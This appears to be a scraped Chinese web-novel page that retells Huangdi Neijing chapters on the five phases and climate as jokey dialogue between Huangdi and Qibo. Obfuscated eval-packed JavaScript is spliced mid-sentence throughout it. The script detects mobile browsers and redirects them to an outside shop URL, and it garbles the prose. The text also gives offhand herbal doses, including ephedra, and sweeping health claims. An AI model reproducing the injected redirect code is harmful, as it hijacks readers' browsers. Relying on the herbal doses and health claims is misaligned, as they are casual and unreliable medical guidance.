岐伯哈哈大笑：“黄帝您可真会联想！这里的‘步’，其实是古代用来计算时间的一种方法，跟走路可没多大关系。古人把一天的时间分成一百刻，然后又根据天体的运行规律，将一圈分成二十四等分，每一等分就是一步，这样一来，二十四步加起来，刚好就是一天的时间。这就像是我们把一天的任务分成二十四个小目标，一步步去完成，最终就能成就一天的美好。” 黄帝陛下好奇地问：“嘿，岐伯啊，你说这六气—风、寒、暑、湿、燥、火怎么就跟五行扯上关系了呢？它们是怎么变化的？”岐伯捋了捋他那长长的胡须，笑眯眯地说：“陛下啊，这天地万物，都有它的始末位置，就像咱们人生有起有落；而气呢，它也有初来乍到和深入骨髓的时候，上下之间，那可是大不一样，研究起来，门道可多着呢！” 黄帝一听，更来劲了：“哟呵，这么深奥？那你快说说，咱们怎么个研究法？”岐伯不慌不忙，开始他的“天气地气大揭秘”：“您看这天上的气，它是从甲子年开始算起的，就像咱们的新年钟声一响，万物复苏；而地上的气呢，则是从子月，也就是农历十一月那会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318208|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿悄悄冒头的，子时一到，寒冬渐深，万物归藏。这天上的甲子与地上的子月一结合，嘿，新的一年就这么立起来了，咱们称之为‘岁立’。所以啊，陛下，您只要细心观察这时间的流转，气候的变化，就能和它们来个美丽的约会啦！” 说到这儿，咱们不妨给这段古老的知识加点现代色彩和幽默感。想象一下，如果黄帝和岐伯是两位站在科技前沿的科学家，他们会怎么聊这个话题呢？ 黄帝可能会戴上VR眼镜，兴奋地说：“岐伯兄，快给我展示一下这‘六气模拟器’！我要亲眼看看风怎么吹，火怎么烧，湿怎么渗，还得体验一下被寒气冻得直哆嗦，被暑气热得直冒汗的感觉！”岐伯则笑着操作起全息投影，边演示边解释：“陛下，您看，这六气可不是闹着玩的，它们可是地球生态的调节大师。风，就像是自然界的吹风机，让空气流通；寒，是冬日的冷笑话大师，让人笑中带寒；暑呢，则是夏日的热情如火，让人直呼过瘾；湿，就像是个爱黏人的小妖精，无处不在；燥，则是秋天的干燥剂，提醒我们要多喝水；火，则是生命力的象征，让万物蓬勃生长。这六气与五行紧密相连，金生水，水生木，木生火，火生土，土生金，循环往复，生生不息。” “至于咱们怎么研究它们嘛，”岐伯继续说道，“现在咱们有大数据、云计算，还有人工智能帮忙，可以精准预测气候变化，就像天气预报一样。不过，别忘了，最原始的观察和体验也是不可或缺的。比如，咱们可以去山林间感受风的轻抚，去海边体验湿的滋润，去沙漠中领略燥的考验。这样，咱们不仅能学到知识，还能享受大自然的馈赠呢！” 这章没有结束，请点击下一页继续阅读！ 气交变大论篇第六十九（上） 黄帝说：“嘿，朋友们，你们知道吗？这天上的星辰变换，地下的四季更迭，还有咱们身体里的那股子阴阳平衡，它们可都是紧密相连，互相影响的呢！要是这平衡被打破了，咱们的身体就像江河里的水被搅得波涛汹涌，各种不舒服就找上门来了。我想知道，这背后的道理，有没有个通俗易懂的名字，让我这脑袋瓜子好记住啊？” 岐伯一听，赶紧恭敬地行了个大礼，说：“黄帝您这问题，简直是问到了点子上，高深又接地气！这可是天地间的大智慧，是神仙们都看重的东西，也是我们老祖宗一代代传下来的宝贝。我虽然不算聪明绝顶，但当年听老师讲的时候，可是听得入迷呢！” 黄帝一听，乐了：“哈哈，岐伯你就别谦虚了。我听说啊，要是遇到了能传承这智慧的人却不教，那就是暴殄天物；可要是随便传给不合适的人，那更是把宝贝当垃圾扔了。我这人嘛，德行一般，但想着咱们子孙后代能继续享受这份福祉，就厚着脸皮来请教了。你就别藏着掖着了，把你知道的都抖搂出来吧，我保证好好学习，天天向上！” 岐伯一听黄帝这诚恳劲儿，也乐了：“好嘞，那咱们就打开天窗说亮话吧。《上经》里头说了，要想真正领悟这‘道’，啊不，是咱们这个宇宙的奥秘，得做到三点：上知天文，就像咱们现在看天气预报，得知道啥时候下雨啥时候晴天；下知地理，比如咱们出去旅游，得知道哪座山高哪条河深；中知人事，那就是得了解人情世故，处理好人际关系。这三点都做到了，那才能算是活得明白，活得长久啊！” 黄帝一听，眼睛一亮：“对对对，就是这个理儿！可我这身子骨儿，有时候也会闹别扭，你说这阴阳失衡，到底是个啥感觉呢？” 岐伯微微一笑，开始打比方：“这就好比咱们家里做饭，火大了菜容易糊，火小了又煮不熟。咱们身体里的阴阳也是这么回事儿，阳气就像是那灶火，得刚刚好才行。要是阳气太旺了，就像是大夏天里穿了棉袄，热得你直冒汗；要是阴气太重了，就像是冬天里没穿秋裤，冻得你直哆嗦。这时候啊，就得想办法调调平衡，让身体回归和谐状态。” 黄帝听得津津有味：“那具体怎么调呢？是不是得找穴位、吃中药啥的？” 岐伯点头：“没错没错，穴位就像是咱们身体的开关，按对了就能治病。比如说，你要是觉得胸闷气短，我可以教你按按‘内关穴’，就在手腕那里，一掐一揉，嘿，那叫一个舒坦！至于中药嘛，那更是博大精深，得根据每个人的体质和病情来配。比如说，你感冒了，我得看看你是风寒还是风热，风寒我就给你开点辛温解表的药，比如麻黄、桂枝，用量嘛，大概就是几克到十几克不等，得精准才行；风热呢，就得用点清热解毒的了，比如金银花、连翘，也是适量就好，多了少了都不行。” 黄帝听得连连点头：“哎呀，你这么一说，我就明白多了。原来咱们这身体里的奥秘这么多啊！” 岐伯接着说：“是啊，黄帝您想想，咱们身体里的经络就像是一张网，穴位就像是网上的节点，气血就像是水流在网里流动。要是哪个节点堵了，水流就不畅了，身体也就出问题了。所以咱们得经常疏通经络，按摩穴位，让气血顺畅起来。还有啊，饮食起居也得注意，别熬夜别暴饮暴食，这样才能保持身体的阴阳平衡。” 黄帝陛下问：“这说的是哪门子学问啊？” 岐伯老先生捋了捋胡子，笑眯眯地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318209|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“陛下，这可是讲咱们身体与大自然的那些个微妙联系呢！您想啊，天上的星星月亮，那是‘天文’；脚下的山川河流，那就是‘地理’；而咱们人身上的那股子气儿，怎么随着环境变化而变化，那就是‘人事’了。简单来说，就是天人合一的大道理嘛！” “您知道吗？这天上的星星排列得整齐了，咱们身体里的那股子正气也就跟着旺盛，这叫‘太过’，就像是孩子提前学会了走路，天赋异禀，咱们称之为‘先天’优势。反过来，要是星星们偷懒了，排列得乱糟糟，咱们身体里的气儿也就跟着萎靡不振，这叫‘不及’，就像是孩子学走路晚了点，得靠后天多努力，咱们称之为‘后天’补救。” 咱们中医讲究的是整体观念，认为人体是个小宇宙，跟大自然紧密相连。比如说，您要是觉得最近心情不咋地，老觉得胸口憋闷，那可能就是“地理”上有点问题——家里或工作环境太压抑了，得换个通风透气、阳光明媚的地方待着。这时候，您不妨按按“膻中穴”，那可是咱们心包的募穴，位于两乳之间，轻轻一按，感觉就像打开了一扇窗，心胸豁然开朗，这不就是“人事”上的调节嘛！ 再来说说方子，咱们中医讲究的是辨证施治，一人一方。不过，既然您提到了，我就给您说个简单又实用的“逍遥散”吧，这方子就像是给心情不好的人量身定制的小礼物。材料嘛，柴胡10克，当归、白芍、白术、茯苓各9克，炙甘草6克，薄荷、生姜少许。您别小看这些草药，它们搭配起来，就像是给身体请了个和事佬，疏肝解郁，健脾养血，让您的身体和心情都跟着“逍遥”起来。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 气交变大论篇第六十九（下） 黄帝说：“我要把四季的脾气都摸个透，老岐你来说说吧！” 岐伯老先生一听，立刻来了精神，笑眯眯地说：“陛下真是问到了点子上啊！咱们来聊聊这五行中的“木”吧，它代表春天，生机勃勃，万物复苏。要是春天这木元素不给力，树木生长得不够欢畅，枝条不够摇曳生姿，就像是大自然忘了开美颜滤镜，那到了秋天啊，就会有一股特别的“小清新”风——不是常说“秋高气爽”嘛，这时候可能更偏向于“秋雾蒙蒙，凉意袭人”。这就像是大自然在补偿春天的小遗憾，用一场场细雨蒙蒙、雾露微凉的天气，给大地披上了一层温柔的面纱。 但要是春天真的惨兮兮，寒风凛冽，草木凋零，那可就是“木”元素被欺负得太惨了。到了夏天，嘿，大自然可不会坐视不管，它会来个“夏日炎炎，热情似火”的大反弹，就像是憋了一肚子的火，非要在这个夏天一次性释放出来，烤得大地滚烫滚烫的，这就是“火”元素来帮“木”兄弟报仇了！ 说到这“木”的灾变，它主要影响的是东方，对应着咱们人体的肝脏。肝脏要是受了委屈，那可是会“内忧外患”的。内呢，就是肝区那块儿，也就是咱们现在说的肋骨下面，可能会隐隐作痛，感觉像是被谁偷偷打了一拳；外呢，就是关节了，走起路来，关节可能会咯吱咯吱响，好像是在抗议：“这日子，太难了！” 再来说说“火”，它代表夏天，热情奔放，光芒万丈。如果夏天这火元素不够旺，阳光不够灿烂，那到了冬天，大自然就会用一种特别的方式来“补火”——那就是来一场场严肃认真的霜冻，让冬天冷得彻骨，美得动人。这就像是大自然在说：“夏天欠你的阳光，冬天我用冰雪来还！” 但要是夏天也过得凄凄惨惨，冷得像秋天，那大自然可就不高兴了，它会时不时地来一场“说变就变”的天气大戏，乌云密布，大雨倾盆，还夹杂着尘土飞扬，就像是天空在发脾气，说：“你们这是瞧不起我的火吗？我让你们见识见识真正的热情！” “火”的灾变，主要影响的是南方，对应着咱们的心脏。心脏要是“火力不足”，那可是会直接影响到咱们的“情绪中枢”的。内呢，就是胸口那块儿，可能会觉得憋闷，像是被什么重物压着；外呢，就是经络了，可能会感觉血脉不畅，整个人提不起劲来，就像是电池没电了，急需充电。 如果大地妈妈（土）突然变得虚弱了，就像家里的菜园子忘了浇水施肥，那四周的天空（四维，代表方位的变化）就开始上演一出“云深不知处”的戏码，灰蒙蒙的还带着点湿润感。这时候，春天本该是万物复苏，花儿朵朵开，树枝噼啪作响长新芽的欢乐场景，却可能因为土气不足，变成了“鸣条鼓拆”的尴尬现场——树枝干巴巴地响，却不见多少新绿。但别急，大自然有它的平衡之道，秋天时，可能会来个“秋后算账”，一场场肃杀之气夹杂着连绵细雨，让人感叹：“哎，这秋天，咋比冬天还冷飕飕的呢！” 这土不及啊，影响的可是咱们身体里的“大管家”——脾脏。脾一虚弱，心腹地区（中医说的内脏区域）就开始闹情绪，不是这儿疼就是那儿胀。再看外表，肌肉和四肢也软绵绵的，像是缺了电的机器人，提不起劲来。这时候，咱们得给身体来点“土”的滋养，比如多吃点黄色的食物，像南瓜、小米，或者来碗热腾腾的健脾粥，让脾胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318210|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新焕发生机！ 再来说说金（代表肺和呼吸系统）如果不够强壮会怎样。夏天本该是阳光灿烂，热情似火的季节，但如果金气不足，夏天的热情就变成了“光显郁蒸”，热得让人喘不过气。到了冬天，本该是银装素裹，冷静自持，结果却因为夏天那股子热气没散干净，冬天也变得异常“严肃”，冷得让人直打颤。更绝的是，秋天还可能上演“冰与火之歌”，冰雹、霜雪提前报到，让人措手不及。 这金不及，直接关联到咱们的“呼吸小能手”——肺。肺一虚，膺胁肩背这些地方就容易不舒服，感觉像是背了块大石头。皮肤毛发也失去了光泽，像是被秋天提前吹干了水分的叶子。这时候，咱们得给肺来点“金”的呵护，比如多吃白色的食物，像梨子、百合，或者来杯润肺茶，让肺部重新找回那清新的感觉。 最后聊聊水（代表肾和泌尿系统）的不足。如果水气不足，四周的环境就像是被调低了湿度的空调房，偶尔来场突如其来的“湍润埃云”，像是天空在偷偷哭泣，但很快就停了。可要是这“哭”得猛了，突然变脸成暴雨倾盆，那风啊雨啊就像是在进行一场“飘荡振拉”的舞蹈，让人措手不及。 水不及，最遭殃的就是咱们的“生命之源”——肾了。肾一虚，腰脊骨髓就像被抽走了力气的柱子，站也站不直，坐也坐不稳。膝盖、脚踝这些“水边”的地方也跟着遭殃，走起路来像是踩在棉花上。这时候，咱们得给肾加点“水”的滋润，比如多吃黑色的食物，像黑豆、黑芝麻，或者来碗补肾汤，让肾脏重新焕发生命的活力！ 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 五常政大论第七十（一） 话说黄帝有一天突发奇想，抬头望着那浩瀚无垠的太虚（咱们就理解为宇宙吧），感叹说：“这宇宙啊，广阔无垠，五行之气在里面来回穿梭，有时候强盛，有时候衰弱，它们之间还互相影响，增增减减的，真是奇妙。我就想问问，这五行之气在平衡状态下，它们各自是怎么称呼的？又该怎么记录它们的状态呢？” 岐伯老先生一听，眼睛一亮，笑道：“黄帝啊黄帝，你这问题问得真有水平！来，听我慢慢道来。当木气处于平衡状态时，我们称之为‘敷和’，就像春天里万物复苏，生机勃勃，树木枝叶繁茂，和谐共生；火气平衡时，叫‘升明’，想象一下夏日烈阳高照，万物生长旺盛，光明四溢；土气平衡，则曰‘备化’，大地母亲滋养万物，五谷丰登，生生不息；金气平衡，称之为‘审平’，秋天金风送爽，果实累累，收获的季节，一切都显得那么公正平和；至于水气平衡嘛，那就是‘静顺’了，冬日里河水静流，万物归藏，一切都显得那么宁静顺从。” 黄帝听了，频频点头，接着又抛出一个难题：“那它们要是不足了，会是啥样呢？” 岐伯捋了捋胡须，继续解释道：“木气不足，我们称之为‘委和’，就像树木失去了活力，枝叶稀疏，显得萎靡不振；火气不足，就成了‘伏明’，夏日里阳光不再那么耀眼，仿佛被什么遮住了光芒；土气不足，便是‘卑监’，大地贫瘠，庄稼长不好，收成自然也就不怎么样；金气不足，叫‘从革’，秋天虽到，但果实不丰，金属之物也显得软弱无力；水气不足，则是‘涸流’，河流干涸，水源枯竭，万物失去滋润。” 黄帝听了，眉头一挑：“那反过来，它们要是太过了呢？” 岐伯哈哈大笑，说：“你这个问题问得好！木气太过，就叫‘发生’，春天里树木疯长，甚至有点泛滥成灾的意思；火气太过，是‘赫曦’，夏天热得跟火炉似的，烤得人都快化了；土气太过，为‘敦阜’，大地过于肥沃，庄稼长得太密，反而影响收成；金气太过，是‘坚成’，秋天金属锋利，果实硬邦邦的，收获虽丰但多了几分肃杀之气；水气太过，则是‘流衍’，洪水泛滥，江河横溢，万物被淹，也是头疼事一桩。” 说到这里，咱们不妨让这段古老的知识变得更接地气、更有趣味性一些。想象一下，如果我们把五行之气比作五位性格迥异的朋友，那“敷和”的木气就像是那个总是笑眯眯、充满活力的阳光少年，走到哪里都能带来正能量；“升明”的火气则是那个热情似火的辣妹子，让人又爱又怕；“备化”的土气就像那位慈祥的阿姨，总是默默付出，滋养着周围的一切；“审平”的金气则是个公正无私的法官，秋天一到，他就出来评判谁该结果，谁该落叶；“静顺”的水气则是那个温柔的绅士，冬天里静静地守护着这个世界。 而当他们“不及”或“太过”时，就像是我们这些朋友偶尔也会有点小情绪。木气不足时，那个阳光少年也会偶尔忧郁；火气不足，辣妹子也会变得温柔可人；土气不足，慈祥阿姨也会力不从心；金气不足，法官也会偶尔心软；水气不足，温柔绅士也会变得冷漠。反过来，他们“太过”时，就像是情绪失控，阳光少年变得疯狂生长，辣妹子热得让人受不了，慈祥阿姨过度溺爱导致混乱，法官太过严苛让人害怕，温柔绅士则变成了洪水猛兽。 黄帝发问了：“哎，岐伯，你说说这‘三气之纪’，就是自然界那三种主要的气机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318211|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变化规律，它们各自有啥特别的表现呢？我这心里头啊，跟猫抓似的，好奇得不得了！” 岐伯一听，乐了：“哈哈，黄帝您这问题问得真是全面又深刻！那我就给您细细道来。” “首先，咱们说说这‘敷和之纪’，听着就挺文艺的，对吧？其实它讲的是木气当令，也就是春天那会儿的事儿。想象一下，春天一到，万物复苏，树木开始抽芽长叶，生机勃勃。这就是木德，也就是生机之德，在天地间周而复始地运行着。阳光温柔地洒落，阴云也适时地散开，自然界的五种变化——生长化收藏，都显得那么和谐平衡。” “这木气的性格啊，就像是个随和的老朋友，你怎么对它，它就怎么对你，特别随和。它的作用嘛，就是让万物能弯弯曲曲地生长，展现生命的韧性。在春天，草木茂盛，花朵盛开，这就是木气化生出的繁荣景象。说到类属，木当然和草木是一家子的啦。而木气的管理风格呢，就像是春风拂面，温柔地催发万物生长。” “春天的气候嘛，那叫一个温和，既不冷也不热，刚刚好。说到命令，那就是风了，春风一吹，万物复苏。在人体里，肝脏就是木气的代表，它最怕的就是那种冷冷清清的感觉，喜欢温暖和煦。眼睛呢，就是肝脏的窗户，肝好眼就亮。” “饮食上，春天可以多吃点麻类食品，比如芝麻、麻油，还有李子这种水果，它们都能顺应木气的生长之势。果实里头有硬核的，也是木气的象征。颜色上，青色、绿色都是木的代表色，看着就让人心情舒畅。说到养生，春天养筋正当时，多做做拉伸运动，筋骨灵活了，人也精神。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 五常政大论第七十（二） 咱们来到了一个叫做“伏明之纪”的神秘时代，这时代啊，就像是自然界在玩儿一场“反转游戏”。本该是万物疯长的季节，结果却像是被按下了暂停键，那些本该肆意张扬的生命力，就像是害羞的孩子，躲在了家里不出来。藏着的气息（比如冬天的能量）反而悄悄弥漫开来，本该收敛的气息（秋天的感觉）却自个儿玩起了平衡术，搞得夏天的热情都变得稀薄了。 这时候啊，大自然就像是个调皮的画家，一边承接着生命的延续，一边却让这些生命“生而不长”，果实呢，看着挺诱人，咬一口却发现还是个小嫩娃。就像是我们种的番茄，明明该红透了，结果还是个青涩的模样。连那些本该冬眠的小虫虫，也早早地躲进了洞里，生怕被这场“反季节派对”给吓坏了。 这时代的空气啊，闷得能拧出水来，动不动就来个情绪大爆发，一会儿晴空万里，一会儿又是暴风骤雨，搞得人心也跟着忽上忽下。最让人头疼的是，这季节还特别容易让人心情低落，心痛、迷糊、悲伤、健忘，好像心脏都被这股子“伏明之气”给绕了个结。医生说啊，这都是因为“从水化”，也就是水元素太多了，影响了心脏的健康。所以啊，这时候得多吃点儿苦咸味儿的东西，比如栗子、桃子，还有黑豆、稻米，给身体排排毒，让心情也明亮起来。 再来说说颜色吧，这时候的世界仿佛被染上了玄黑和赤红两种颜色，就像是一幅抽象的现代艺术画。动物们呢，马儿和猪儿特别活跃，昆虫界则是鸟羽和鱼鳞的天下。音乐嘛，听听徵音和羽音，能舒缓一下紧绷的神经。 哦对了，还有个小秘密要告诉你，这“伏明之纪”里，音乐的调子要是少了徵音或者羽音，那就跟炒菜忘了放盐一样，少了那么点味儿。而商音呢，不管是上商还是正商，听起来都差不多，就像是双胞胎姐妹，让人分不清谁是谁。 再逛逛“卑监之纪”这个场景。这里啊，就像是自然界的“简约风”展览，化生的力量被削弱了，但生命的诞生却异常显眼，就像是在告诉你：“看，我即便条件有限，也能绽放出生命的奇迹！”不过呢，这生命力虽然顽强，但成长的过程却显得有些力不从心，雨水倒是挺多，但果实却不那么饱满，就像是空有其表的花瓶。 这时候的空气啊，就像是被打散了的气球，静悄悄的，没什么活力。人们容易得些皮肤病、溃疡之类的毛病，就像是身体在默默抗议：“给点阳光雨露吧！”脾胃也容易出问题，就像是家里的厨房太久没打扫，积了一堆“湿气”。所以啊，这时候得吃点儿酸甘味儿的食物，比如李子、栗子，还有豆子、芝麻，给脾胃来个大扫除。 颜色上呢，这时代偏爱苍绿和土黄，就像是秋天的田野和冬日的暖阳。动物界里，牛和狗成了主角，昆虫则是那些没有羽毛和鳞片的家伙们。风啊，总是带着点儿怒气，吹得树木摇摆不定，就像是自然界的摇滚乐手在疯狂演奏。音乐上呢，宫音和角音最能安抚人心，就像是大自然的摇篮曲。 说到病症啊，这“卑监之纪”里的人啊，容易感觉身体被什么堵住了一样，不顺畅。这时候啊，就得从木元素入手，就像是给身体加点“绿意”，让它恢复生机。 最有趣的是，这时代的音乐要是少了宫音或角音，那就像是唱歌跑调了一样，不和谐。而上宫和正宫、上角和正角听起来又差不多，就像是音乐界的“撞脸”事件。 “从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318212|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 革之纪”，听起来就像是秋天的专属乐章，对吧？咱们可以把它想象成大自然在换季时的一场华丽变装秀。这“从革”，指的就是金属变革之意，象征着秋天万物从繁茂到收敛，就像金属经过冶炼，变得更加坚韧内敛。 “是谓折收”，哎呀，这不就是说秋天嘛，万物开始收敛，叶子一片片“折叠”起来，准备过冬。这时候，自然界的“收气”也就是收藏之气，它慢悠悠地来，但别小看它，它一来，春天的那股生机勃勃的劲儿就开始蓄势待发了，这就是“生气乃扬”。 “长化合德，火政乃宣”，这里的长化指的是生长与变化，秋天虽然主收，但也在为来年的生长做准备，火政嘛，咱们可以理解为阳气还在温和地照耀，让万物在收敛中不失温暖，这样万物才能“庶类以蕃”，也就是种类繁多，生生不息。 再来说说秋天的“气扬”，就像秋天的风，虽然清爽，但有时也带着点小脾气，让人感觉“躁切”，就像偶尔的秋风扫落叶，有点急促和猛烈。这时候，人如果不注意调养，就容易“动铿禁瞀厥”，大概就是头疼脑热，晕乎乎的感觉。还有啊，咳嗽、气喘这些毛病也容易找上门来，因为秋天对应的是肺脏嘛，肺可是个娇弱的器官，得好好呵护。 说到秋天，怎能不提美食呢？“其果李杏”，李子、杏子这些酸甜可口的水果正是秋天的代表。而“其实壳络”，说的是果实的外壳和脉络，就像秋天带给我们的不仅仅是果肉的甜美，还有那些细微之处的变化，值得细细品味。至于“其谷麻麦”，麻子和麦子，也是秋天丰收的好物，多吃这些，对身体大有裨益。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 五常政大论第七十（三） 黄帝陛下闲来无事，就拉着岐伯聊起了天。黄帝抬头望了望天，又低头瞅了瞅地，一脸好奇地问：“岐伯啊，你说这天为啥老觉得西北边儿缺点啥，冷飕飕的，左边冷右边还凉飕飕的；地呢，东南角儿又像是填不满似的，右边热左边还温温柔柔的，这是咋回事儿呢？” 岐伯一听，微微一笑，那笑容里透着股子学问的味道：“陛下，这可是阴阳之气的奥秘，高低位置不同，气的多少也就不一样啦。你想啊，东南方，那是阳光的宠儿，阳气足嘛，就像是大自然把最精华的阳光雨露都洒在了这边，所以右边热乎乎的，左边呢，稍微温柔点，还是暖洋洋的。反观西北方，那就是阴气的天地了，阴气喜欢往上窜，就像咱们冬天家里暖气开足了，热气往上升一样，所以那边左边冷嗖嗖，右边也是凉快的。” 黄帝一听，眼睛一亮：“哦~原来如此，那地上有高有低，气温也就不一样了。高的地方冷，低的地方热，怪不得呢！那要是人待在这些地方，会不会有啥讲究？” 岐伯捋了捋胡子，继续说道：“对啊，陛下真是聪明绝顶！人嘛，体质各异，对气候的反应也不一样。比如你去了寒冷的地方，可能会肚子胀气；到了热乎的地儿，可能就容易长痱子、疮啥的。这时候，治疗就得讲究了，肚子胀气得让他通畅通气，出出汗；长疮了就得用温热的方法，加强体内防御，让身体自己调节平衡。这其实就是咱们中医说的‘同病异治’，看准病根儿，对症下药。” 黄帝点头如捣蒜：“对对对，那这样说来，地方不同，人的寿命长短是不是也有讲究？” 岐伯点了点头，神色变得严肃起来：“正是如此，阴气充足的地方，人们往往长寿；阳气过盛，则可能寿命相对较短。这就像咱们种花，土壤肥沃、水分适中，花儿自然开得长久；要是阳光太烈，水又少，花儿就容易枯萎。” 黄帝一拍大腿：“说得好！那要是有人生病了，咱们怎么治呢？” 岐伯笑了：“这简单，西北的病人，咱们就用疏散寒气、清凉滋润的方法；东南的病人呢，就得收敛热气，用温热之法。这就是所谓的‘因地制宜，因人制宜’，同样的病，治法可以大不同哦！” 黄帝听得津津有味：“有道理，有道理！那要是整个州的气候、地理环境不一样，人们的健康和寿命也会受影响吧？” 岐伯点头道：“那是自然，地势高低决定了气候的不同，进而影响人的健康和寿命。高山之巅，阴气为主，人们体质多偏寒；低洼之地，阳气旺盛，人们可能更容易有热性疾病。阳气旺盛的人，体质好，生命力强，可以说是‘先天优势’；而阴气重的人，则需后天调养，才能保持健康。这就是大自然的法则，也是咱们中医养生治病的基本理念。” 黄帝好奇地问岐伯：“哎，岐伯啊，你说这世上的生灵，他们的寿命长短是不是有啥讲究啊？” 岐伯捋了捋他那长长的胡子，笑眯眯地说：“黄帝啊，你问得好！你看那高山之巅，云雾缭绕，空气清冽，住在那儿的人啊，就像是天天在做深呼吸，他们的气息悠长，自然寿命也就长些，咱们称之为‘高者其气寿’。反观那些低洼潮湿之地，瘴气弥漫，居住的人们呼吸不畅，体质就容易受影响，寿命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318213|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相对就短些，这便是‘下者其气夭’。这地界儿的大小不同，影响也是千差万别，小地方有小影响，大地方嘛，那影响就更大了。所以啊，咱们当医生的，不仅要会看病抓药，还得懂得天文地理，明白阴阳转换的规律，知道气运的先后次序，以及人的寿命长短和生长周期，这样才能全方位地了解一个人的身体状况，做到真正的对症下药。” 黄帝听了，连连点头：“哎呀，岐伯，你说得真是透彻！那我又有疑问了，有时候明明一整年下来，天气也没啥大变化，可有的人就是健健康康，一点小病小痛都没有，这又是为什么呢？” 岐伯微微一笑，仿佛看透了世间万物的奥秘：“黄帝啊，这你就问到点子上了。这是因为啊，每个人的身体里都藏着一股‘气’，这股气与天地间的气息是相互呼应的。有时候，虽然外界的天气没有直接影响到某个人，但天地间的‘大气运’却在悄悄地调整着每个人的身体状态。就像咱们常说的‘风水轮流转’，每个人的好运坏运，健康与否，其实都在这股气流的调控之中。有的人之所以一年到头都不生病，就是因为他们的身体与天地之气和谐共鸣，达到了一种微妙的平衡。” 说到这里，岐伯话锋一转，变得幽默起来：“你想象一下，咱们的身体就像是一个个小宇宙，而天地间的气息就像是那浩瀚的星空。有时候，星星们虽然看起来没咋动，但它们的能量却无时无刻不在影响着我们的小宇宙。所以啊，保持身心健康，不仅要靠咱们自己的努力，还得学会顺应自然，与天地同呼吸，共命运！” 这章没有结束，请点击下一页继续阅读！ 五常政大论第七十（四） 黄帝叹息道：这世间万物，生育繁衍，本就是天地间最神奇的事儿。可偏偏有时候，小两口恩恩爱爱，却迟迟不见“好消息”，这可急坏了不少人。今儿个，老岐，你来聊聊这“胎孕不育”的奥秘，以及为啥有时候治疗起来不那么得心应手，看看是哪路“神仙”在捣鬼。 